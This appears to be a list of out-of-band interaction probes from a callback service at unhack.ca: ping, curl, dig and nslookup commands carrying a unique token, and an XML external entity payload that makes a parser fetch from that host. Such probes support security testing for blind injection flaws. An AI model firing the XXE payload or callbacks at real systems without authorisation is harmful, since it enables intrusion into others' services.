$ ping -c1 -p 00ddae2fa2abf2de0c7dc1371996af00 unhack.ca
 

$ curl http://unhack.ca/p/ddae2fa2abf2de0c7dc1371996af
 

$ dig ddae2fa2abf2de0c7dc1371996af @unhack.ca
 

$ dig ddae2fa2abf2de0c7dc1371996af.ns.unhack.ca
 

C:\> nslookup ddae2fa2abf2de0c7dc1371996af unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/ddae2fa2abf2de0c7dc1371996af">]>
    <foo>&xxe;</foo>